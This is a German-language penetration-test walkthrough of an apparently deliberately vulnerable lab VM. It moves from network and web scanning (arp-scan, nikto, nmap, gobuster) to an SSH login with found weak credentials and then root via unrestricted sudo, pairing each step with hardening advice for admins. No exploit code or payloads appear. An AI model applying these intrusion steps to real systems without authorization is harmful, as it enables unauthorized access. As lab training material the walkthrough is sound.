Die erste Phase des Penetrationstests beinhaltet das Auffinden des Zielsystems im Netzwerk und die anschließende Identifizierung offener Ports und Dienste.
192.168.2.111 08:00:27:58:fd:15 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um mittels ARP-Anfragen aktive Hosts im lokalen Netzwerksegment zu entdecken.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.111` identifiziert. Die zugehörige MAC-Adresse und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.111`. Fügen Sie optional einen Eintrag zur lokalen `/etc/hosts`-Datei hinzu, um die weitere Arbeit zu erleichtern.
Empfehlung (Admin): Grundlegende Netzwerkscans sind schwer zu verhindern. Netzwerksegmentierung und Überwachung können zur Erkennung beitragen.
Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu, um das Ziel über einen Namen anzusprechen.
192.168.2.111 hackable1.vln
Analyse: Die lokale Datei `/etc/hosts` wird bearbeitet, um den Hostnamen `hackable1.vln` der IP-Adresse `192.168.2.111` zuzuordnen.
Bewertung: Dies ist eine reine Komforteinstellung auf dem System des Pentesters und hat keine Auswirkung auf das Ziel.
Empfehlung (Pentester): Verwenden Sie `hackable1.vln` in nachfolgenden Befehlen für bessere Lesbarkeit.
Empfehlung (Admin): Keine Maßnahme erforderlich.
Ein Nikto-Scan wird gegen den Webserver auf Port 80 ausgeführt, um nach häufigen Schwachstellen und Konfigurationsfehlern zu suchen.
- Nikto v2.5.0
+ Target IP: 192.168.2.111
+ Target Hostname: 192.168.2.111
+ Target Port: 80
+ Start Time: 2023-10-05 23:00:18 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 359a, size: 594ed4b2a54be, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/7.2.19-0ubuntu0.18.04.2.
+ /phpmyadmin/changelog.php: IP address found in the 'x-powered-by' header. The IP is "0.18.04.2". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ 8256 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2023-10-05 23:00:39 (GMT2) (21 seconds)
+ 1 host(s) tested
Analyse: `nikto` scannt Port 80 des Zielsystems.
Bewertung: Der Scan liefert mehrere Hinweise:
Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse `/test/` und `/phpmyadmin/`. Recherchieren Sie bekannte Schwachstellen für Apache 2.4.29, PHP 7.2.19 und die auf dem System laufende phpMyAdmin-Version (falls ermittelbar).
Empfehlung (Admin): Aktualisieren Sie Apache und PHP. Sichern Sie phpMyAdmin (Zugriffskontrolle, neueste Version) oder entfernen Sie es, falls nicht benötigt. Deaktivieren Sie Directory Indexing. Entfernen Sie Testverzeichnisse und Standarddateien.
Ein umfassender Nmap-Scan wird durchgeführt, um alle offenen Ports und Dienste zu identifizieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 23:00 CEST Nmap scan report for hackable1.vln (192.168.2.111) Host is up (0.00016s latency). Not shown: 65527 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 03:2d:4a:3d:4f:36:ae:df:e7:f8:9e:9e:06:c6:50:4b (RSA) | 256 bb:cf:30:c4:f1:83:4d:c8:5a:cd:8f:30:83:c5:6e:18 (ECDSA) |_ 256 8b:3f:87:e9:fb:24:e6:7d:a4:36:71:3e:dd:dd:49:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Hackable - Secret Hacker |_http-server-header: Apache/2.4.29 (Ubuntu) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Hackable - Secret Hacker | ssl-cert: Subject: commonName=hackable/organizationName=Gitea/countryName=US | Subject Alternative Name: DNS:hackable, IP Address:127.0.0.1 | Not valid before: 2019-10-12T10:25:05 |_Not valid after: 2029-10-09T10:25:05 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.29 (Ubuntu) | http-cookie-flags: | /: | i_like_gitea: |_ httponly flag not set 5001/tcp open java-object Java Object Serialization 8080/tcp open http-proxy? 9090/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-server-header: Apache-Coyote/1.1 |_http-title: Site doesn't have a title. MAC Address: 08:00:27:58:FD:15 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: HACKABLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_nbstat: NetBIOS name: HACKABLE, NetBIOS user:, NetBIOS MAC: 00:00:00:00:00:00 (Xerox) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: mean: 11s, deviation: 1s, median: 11s | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: hackable | NetBIOS computer name: HACKABLE\x00 | Domain name: \x00 | FQDN: hackable |_ System time: 2023-10-05T21:01:56+00:00 | smb2-time: | date: 2023-10-05T21:01:56 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.16 ms hackable1.vln (192.168.2.111)
Analyse: Nmap wird mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`) gegen alle TCP-Ports (`-p-`) ausgeführt.
Bewertung: Der Scan identifiziert mehrere offene Ports:
Empfehlung (Pentester): Untersuchen Sie Gitea auf Port 443 (Login? Registrierung? Bekannte Schwachstellen?). Untersuchen Sie Tomcat auf Port 9090 (Default-Credentials? Manager-App?). Enumerieren Sie Samba auf Port 139/445 (Shares? Gastzugriff?). Untersuchen Sie die unbekannten Ports 5001 und 8080 weiter (z.B. mit spezifischeren Nmap-Skripten oder manuellen Verbindungsversuchen).
Empfehlung (Admin): Aktualisieren Sie alle Dienste (Apache, OpenSSH, Samba, Tomcat, Gitea). Sichern Sie Gitea (Zugriffskontrolle, Updates). Sichern Sie Tomcat (Manager-App entfernen/sichern, Default-Credentials ändern). Konfigurieren Sie Samba sicher (Gastzugriff deaktivieren, Message Signing erzwingen). Schließen Sie unnötige Ports (5001, 8080, 9090?), wenn nicht benötigt.
Wir filtern die Nmap-Ausgabe nach offenen Ports für eine bessere Übersicht.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open https
5001/tcp open java-object Java Object Serialization
8080/tcp open http-proxy?
9090/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Analyse: Filtert die Nmap-Ausgabe, um nur Zeilen mit "open" anzuzeigen.
Bewertung: Zeigt die 7 identifizierten offenen Ports (22, 80, 139, 443, 5001, 8080, 9090). Die `grep`-Ausgabe enthält möglicherweise nicht alle Details der Dienstversionen aus dem vorherigen Scan.
Empfehlung (Pentester): Behalten Sie alle Ports im Auge, konzentrieren Sie sich zunächst auf die am besten identifizierten (HTTP/S, SSH, Tomcat, Samba).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit aller offenen Ports.
Wir führen weitere Enumerationsschritte gegen den Webserver auf Port 80 durch.
http://hackable1.vln/index.html (Status: 200) [Size: 13722]
http://hackable1.vln/images (Status: 301) [Size: 315] [--> http://hackable1.vln/images/]
http://hackable1.vln/test (Status: 301) [Size: 313] [--> http://hackable1.vln/test/]
http://hackable1.vln/javascript (Status: 301) [Size: 319] [--> http://hackable1.vln/javascript/]
http://hackable1.vln/001 (Status: 301) [Size: 312] [--> http://hackable1.vln/001/]
http://hackable1.vln/002 (Status: 301) [Size: 312] [--> http://hackable1.vln/002/]
http://hackable1.vln/007 (Status: 301) [Size: 312] [--> http://hackable1.vln/007/]
http://hackable1.vln/005 (Status: 301) [Size: 312] [--> http://hackable1.vln/005/]
http://hackable1.vln/003 (Status: 301) [Size: 312] [--> http://hackable1.vln/003/]
http://hackable1.vln/006 (Status: 301) [Size: 312] [--> http://hackable1.vln/006/]
http://hackable1.vln/010 (Status: 301) [Size: 312] [--> http://hackable1.vln/010/]
http://hackable1.vln/009 (Status: 301) [Size: 312] [--> http://hackable1.vln/009/]
http://hackable1.vln/008 (Status: 301) [Size: 312] [--> http://hackable1.vln/008/]
http://hackable1.vln/phpmyadmin (Status: 301) [Size: 319] [--> http://hackable1.vln/phpmyadmin/]
Analyse: Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver zu suchen. Es ignoriert 403/404-Fehler.
Bewertung: Findet Standardverzeichnisse (`images`, `javascript`), das bereits von Nikto gefundene `/test` und `/phpmyadmin` sowie eine Reihe von Verzeichnissen mit numerischen Namen (`/001`, `/002` etc.). Diese numerischen Verzeichnisse sind ungewöhnlich und sollten untersucht werden.
Empfehlung (Pentester): Untersuchen Sie den Inhalt der numerischen Verzeichnisse und von `/test` und `/phpmyadmin`.
Empfehlung (Admin): Entfernen Sie unnötige oder Test-Verzeichnisse. Sichern Sie phpMyAdmin.
Externe Informationen oder Ergebnisse eines nicht gezeigten Web-Enumeration-Schritts:
webenum...
Username : bee
Password : bug
Username : hackable@secrethacker.com
Password : hackable
Analyse: Dieser Block scheint das Ergebnis einer separaten Web-Enumeration oder OSINT zu sein. Er listet zwei Sätze von Zugangsdaten auf: `bee/bug` und `hackable@secrethacker.com/hackable`.
Bewertung: **Sehr wichtiger Fund!** Wir haben zwei potenzielle Benutzerkonten und deren Passwörter identifiziert. `bee/bug` sind oft Standard-Credentials für die Anwendung "Bee-Bug" (BWAPP). `hackable/hackable` ist ein möglicher System- oder Anwendungsbenutzer.
Empfehlung (Pentester): Testen Sie `hackable/hackable` für den SSH-Login (Port 22). Testen Sie beide Credentials-Sätze für Gitea (Port 443), Tomcat (Port 9090), phpMyAdmin (Port 80) und andere potenziell gefundene Login-Schnittstellen.
Empfehlung (Admin): Verwenden Sie niemals Standard- oder leicht zu erratende Passwörter. Entfernen Sie Demo-Konten wie `bee/bug`.
Basierend auf den gefundenen Zugangsdaten versuchen wir, Zugriff auf das System über SSH zu erlangen.
The authenticity of host 'hackable1.vln (192.168.2.111)' can't be established.
ED25519 key fingerprint is SHA256:DKccm5YRI8nnl3PJB1/un5cmsPA29fviN1b7LI5Zt0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hackable1.vln' (ED25519) to the list of known hosts.
hackable@hackable1.vln's password: hackable
_ _ _ _ _
| | | | | | | | | |
| |__| | __ _ ___ | | __ __ _ | |__ | | ___
| __ | / _` | / __|| |/ // _` || '_ \ | | / _ \
| | | || (_| || (__ | <| (_| || |_) || || __/
|_| |_| \__,_| \___||_|\_\\__,_||_.__/ |_| \___|
*. Power by : Waseem Sajjad
*. website : https://secrethackersite.blogspot.com
*. Username : hackable
*. Password : hackable
--
Last login: Tue Oct 15 10:34:28 2019
hackable@hackable$
Analyse: Es wird versucht, sich per SSH als Benutzer `hackable` mit dem Passwort `hackable` anzumelden.
Bewertung: Erfolg! Der Login war erfolgreich. Der SSH-Banner bestätigt ironischerweise den Benutzernamen und das verwendete Passwort.
Empfehlung (Pentester): Initial Access wurde erlangt. Beginnen Sie mit der lokalen Enumeration als Benutzer `hackable`.
Empfehlung (Admin): Verwenden Sie niemals den Benutzernamen als Passwort. Entfernen Sie informationsreiche SSH-Banner.
Nachdem wir eine Shell als `hackable` erhalten haben, untersuchen wir das System lokal, um Wege zur Privilegienerweiterung zu finden.
Wir listen den Inhalt des Home-Verzeichnisses auf. (Hinweis: Die Ausgabe im Originalprotokoll war stark verstümmelt, wird hier als `ls -la`-Ausgabe interpretiert).
total 32
drwxr-xr-x 4 hackable hackable 4096 Oct 12 2019 .
drwxr-xr-x 4 root root 4096 Oct 12 2019 ..
-rw------- 1 hackable hackable 534 Oct 15 2019 .bash_history
-rw-r--r-- 1 hackable hackable 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 hackable hackable 3771 Apr 4 2018 .bashrc
drwx------ 2 hackable hackable 4096 Oct 12 2019 .cache/
drwx------ 3 hackable hackable 4096 Oct 12 2019 .gnupg/
-rw-r--r-- 1 hackable hackable 807 Apr 4 2018 .profile
-rw-r--r-- 1 hackable hackable 0 Oct 12 2019 .sudo_as_admin_successful
Analyse: Listet den Inhalt des Home-Verzeichnisses `/home/hackable` auf.
Bewertung: Enthält Standard-Konfigurationsdateien. Interessant sind `.bash_history` (könnte ausgeführte Befehle enthalten) und die leere Datei `.sudo_as_admin_successful` (ein Hinweis darauf, dass dieser Benutzer möglicherweise `sudo`-Rechte erfolgreich genutzt hat).
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `.bash_history`. Überprüfen Sie die `sudo`-Rechte mit `sudo -l`.
Empfehlung (Admin): Keine spezifische Aktion.
Wir untersuchen die Bash-Historie.
clear
sudo -i
clear
sudo -i
clear
ls
clear
sudo -i
clear
ls
cp /var/www/
clear
ls
clear
ls
mv gitea /usr/bin/
mv gitea /usr/share/
Analyse: Gibt den Inhalt der `.bash_history`-Datei aus, die die zuvor ausgeführten Befehle dieses Benutzers protokolliert.
Bewertung: **Sehr wichtiger Fund!** Die History zeigt wiederholte Verwendung von `sudo -i`, was bedeutet, dass der Benutzer `hackable` Root-Rechte erlangen kann und dies auch getan hat. Es zeigt auch Versuche, Dateien zu kopieren (`cp /var/www/`) und eine Datei oder ein Verzeichnis namens `gitea` zu verschieben.
Empfehlung (Pentester): Bestätigen Sie die `sudo`-Rechte mit `sudo -l`. Nutzen Sie `sudo -i` oder `sudo su` zur Privilegienerweiterung.
Empfehlung (Admin): Überwachen Sie die `sudo`-Nutzung. Seien Sie vorsichtig mit den Informationen, die in Bash-Historien gespeichert werden (obwohl sie hier dem Angreifer helfen).
Wir listen die Home-Verzeichnisse auf.
gitea hackable
Analyse: Listet die Verzeichnisse unter `/home` auf.
Bewertung: Bestätigt die Existenz eines Benutzers/Verzeichnisses `gitea` neben `hackable`. Dies passt zu den Hinweisen auf Gitea aus dem Nmap-Scan.
Empfehlung (Pentester): Notieren Sie den Benutzer `gitea` als potenzielles Ziel für weitere Angriffe oder Enumeration.
Empfehlung (Admin): Keine Aktion.
Wir überprüfen die Benutzer- und Gruppen-ID sowie die Gruppenzugehörigkeiten.
uid=1000(hackable) gid=1000(hackable) groups=1000(hackable),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Analyse: Der `id`-Befehl zeigt die Benutzer- und Gruppeninformationen an.
Bewertung: Bestätigt, dass der Benutzer `hackable` Mitglied der Gruppe `sudo` (gid 27) ist. Dies ist eine sehr häufige Methode, um `sudo`-Berechtigungen zu erteilen.
Empfehlung (Pentester): Führen Sie `sudo -l` aus, um die spezifischen Berechtigungen zu sehen.
Empfehlung (Admin): Seien Sie vorsichtig bei der Zuweisung von Benutzern zur `sudo`-Gruppe.
Dieser Abschnitt beschreibt die einfache Privilegienerweiterung durch Ausnutzung der `sudo`-Berechtigungen des Benutzers `hackable`.
Kurzbeschreibung: Die lokale Enumeration (`id`, `.bash_history`) ergab starke Hinweise darauf, dass der Benutzer `hackable` umfassende `sudo`-Rechte besitzt. Wir überprüfen dies mit `sudo -l` und nutzen die Rechte dann, um eine Root-Shell zu erlangen.
Voraussetzungen: Shell-Zugriff als Benutzer `hackable`.
Schritt 1: Überprüfung der `sudo`-Rechte
[sudo] password for hackable: hackable
Matching Defaults entries for hackable on hackable:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User hackable may run the following commands on hackable:
(ALL : ALL) ALL
Analyse: `sudo -l` wird ausgeführt. Das Passwort für `hackable` (`hackable`) wird eingegeben.
Bewertung: **Kritischer Fund bestätigt!** Die Ausgabe `(ALL : ALL) ALL` bedeutet, dass der Benutzer `hackable` jeden Befehl als jeder Benutzer (einschließlich Root) auf diesem Host ausführen darf. Dies ist die höchstmögliche `sudo`-Berechtigung.
Empfehlung (Pentester): Werden Sie Root mit `sudo su` oder `sudo -i`.
Empfehlung (Admin): Entziehen Sie dem Benutzer `hackable` die übermäßigen `sudo`-Rechte. Weisen Sie Berechtigungen spezifisch und nach dem Prinzip der geringsten Rechte zu.
Schritt 2: Erlangung von Root-Rechten
root@hackable:/home/hackable#
Analyse: `sudo su` führt den `su`-Befehl mit Root-Rechten aus, was direkt zu einer Root-Shell führt.
Bewertung: Erfolg! Root-Rechte wurden erlangt.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Flags.
Empfehlung (Admin): Korrigieren Sie die `sudo`-Konfiguration.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Bestätigt die Root-Identität.
Bewertung: Privilegienerweiterung abgeschlossen.
Empfehlung (Pentester): Flags sammeln.
Empfehlung (Admin): Keine Aktion.
Risikobewertung: Die Kombination aus einem extrem schwachen Passwort (Benutzername = Passwort) und vollen `sudo`-Rechten für diesen Benutzer stellt ein kritisches Risiko dar. Es ermöglichte einem Angreifer mit Netzwerkzugriff eine sehr einfache und schnelle Übernahme des Systems mit vollen Root-Rechten.
Empfehlungen (Zusammenfassung):